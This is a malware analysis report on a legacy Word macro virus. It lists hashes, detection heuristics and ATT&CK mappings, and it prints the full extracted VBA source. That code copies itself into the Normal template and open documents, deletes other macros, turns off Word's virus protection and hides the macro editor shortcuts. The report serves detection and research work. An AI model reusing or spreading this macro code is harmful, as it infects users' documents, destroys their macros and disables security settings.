Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3d7d4d1deb93426…

MALICIOUS

Office (OLE)

76.5 KB Created: 2000-07-28 08:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 741b75b4417672548629ccfdbbadb252 SHA-1: 2e07ff432820cb6bb043e4c10b5a4804952c14fc SHA-256: f3d7d4d1deb934266a0be9211c0d3dc4fdf12278c8655f557e4e2125a93b16e5
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros, specifically an AutoOpen macro. The macro attempts to immunize itself by deleting other VBA components from the Normal template and the current document, a technique often used by malware to evade detection. The presence of legacy WordBasic macro virus markers and ClamAV detections further support its malicious nature. The document body appears to be financial data, likely a lure.

Heuristics 4

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
    On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4722 bytes
SHA-256: 01a3c3c38732f63a6d1d1a5d868264318843749719f63d02cdd89e97621a1b76
Detection
ClamAV: Doc.Trojan.Opey-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CyberNet_AV"
' ------------------------------------------------------------------------------------
' Company: CyberNet  --  Friendliest Surfing Center
' Author: Subramanya
' Date Created: 1st January 2000
' ------------------------------------------------------------------------------------

Sub Immunize()
On Error Resume Next

    Dim DocuName$, OpenDocImmunized As Boolean
    Dim I%, J%, NmImmunized As Boolean

    NmImmunized = False

    For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
        DocuName = NormalTemplate.VBProject.VBComponents(I).Name
        If DocuName = "CyberNet_AV" Then NmImmunized = True
        If (DocuName <> "CyberNet_AV") And _
            (DocuName <> "ThisDocument") Then
            Application.OrganizerDelete _
                Source:=NormalTemplate.FullName _
                , Name:=DocuName _
                , Object:=wdOrganizerObjectProjectItems
        End If
    Next I

    For Each opendoc In Documents
        OpenDocImmunized = False
        With opendoc
            For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
                DocuName = opendoc.VBProject.VBComponents(J).Name
                If DocuName = "CyberNet_AV" Then OpenDocImmunized = True
                If (DocuName <> "CyberNet_AV") And _
                   (DocuName <> "ThisDocument") And _
                   (DocuName <> "Reference to Normal") Then
                     Application.OrganizerDelete Source:=opendoc.FullName _
                     , Name:=DocuName _
                     , Object:=wdOrganizerObjectProjectItems
                End If
            Next J

            If Not OpenDocImmunized Then
                Application.OrganizerCopy Source:=NormalTemplate.FullName, _
                Destination:=opendoc.FullName, _
                Name:="CyberNet_AV", _
                Object:=wdOrganizerObjectProjectItems
                opendoc.SaveAs FileName:=opendoc.FullName
            End If
        End With
    Next opendoc

    If Not NmImmunized Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
         Destination:=NormalTemplate.FullName, Name:="CyberNet_AV", _
         Object:=wdOrganizerObjectProjectItems
        NormalTemplate.Save
    End If

End Sub
Sub Initialize()
On Error Resume Next

   Application.DisplayAlerts = wdAlertsAll
   WordBasic.DisableAutoMacros -1

    With Application
        .UserName = "Subramanya"
        .UserAddress = "CyberNet"
        .UserInitials = "SCN"
    End With

    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "Subramanya"
        .Keywords = "CyberNet"
        .Execute
    End With

    With Options
        .ConfirmConversions = True
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With

    With ActiveDocument
        .ReadOnlyRecommended = False
    End With

   With CommandBars("Visual Basic")
      .Enabled = True
      .Protection = msoBarTypeMenuBar
      .Protection = msoBarMenuBar
   End With

   With CommandBars("Tools")
      .reset
      .Controls("Macro").reset
      .Controls("Customize...").reset
   End With

   FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Clear
   FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Clear
   CustomizationContext = NormalTemplate

End Sub
Sub filesave()
On Error Resume Next
    Call Initialize
    Call Immunize
    ActiveDocument.Save
End Sub
Sub fileclose()
On Error Resume Next
    Call Initialize
    Call Immunize
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
    Call Initialize
    Call Immunize
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    FoxChitForm.Show
    Application.quit
End Sub
Sub FileNew()
On Error Resume Next
    Call Initialize
    Call Immunize
    Dialogs(wdDialogFileNew).Show
    Call Immunize
End Sub
Sub AutoOpen()
On Error Resume Next
   Call Initialize
   Call Immunize
End Sub
Sub AutoExec()
On Error Resume Next
    Call Initialize
    Call Immunize
End Sub
Sub FileSaveAs()
On Error Resume Next
    Call Initialize
    Call Immunize
    Dialogs(wdDialogFileSaveAs).Show
    Call Immunize
End Sub
Sub FileOpen()
On Error Resume Next
    Call Initialize
    Call Immunize
    Dialogs(wdDialogFileOpen).Show
    Call Immunize
End Sub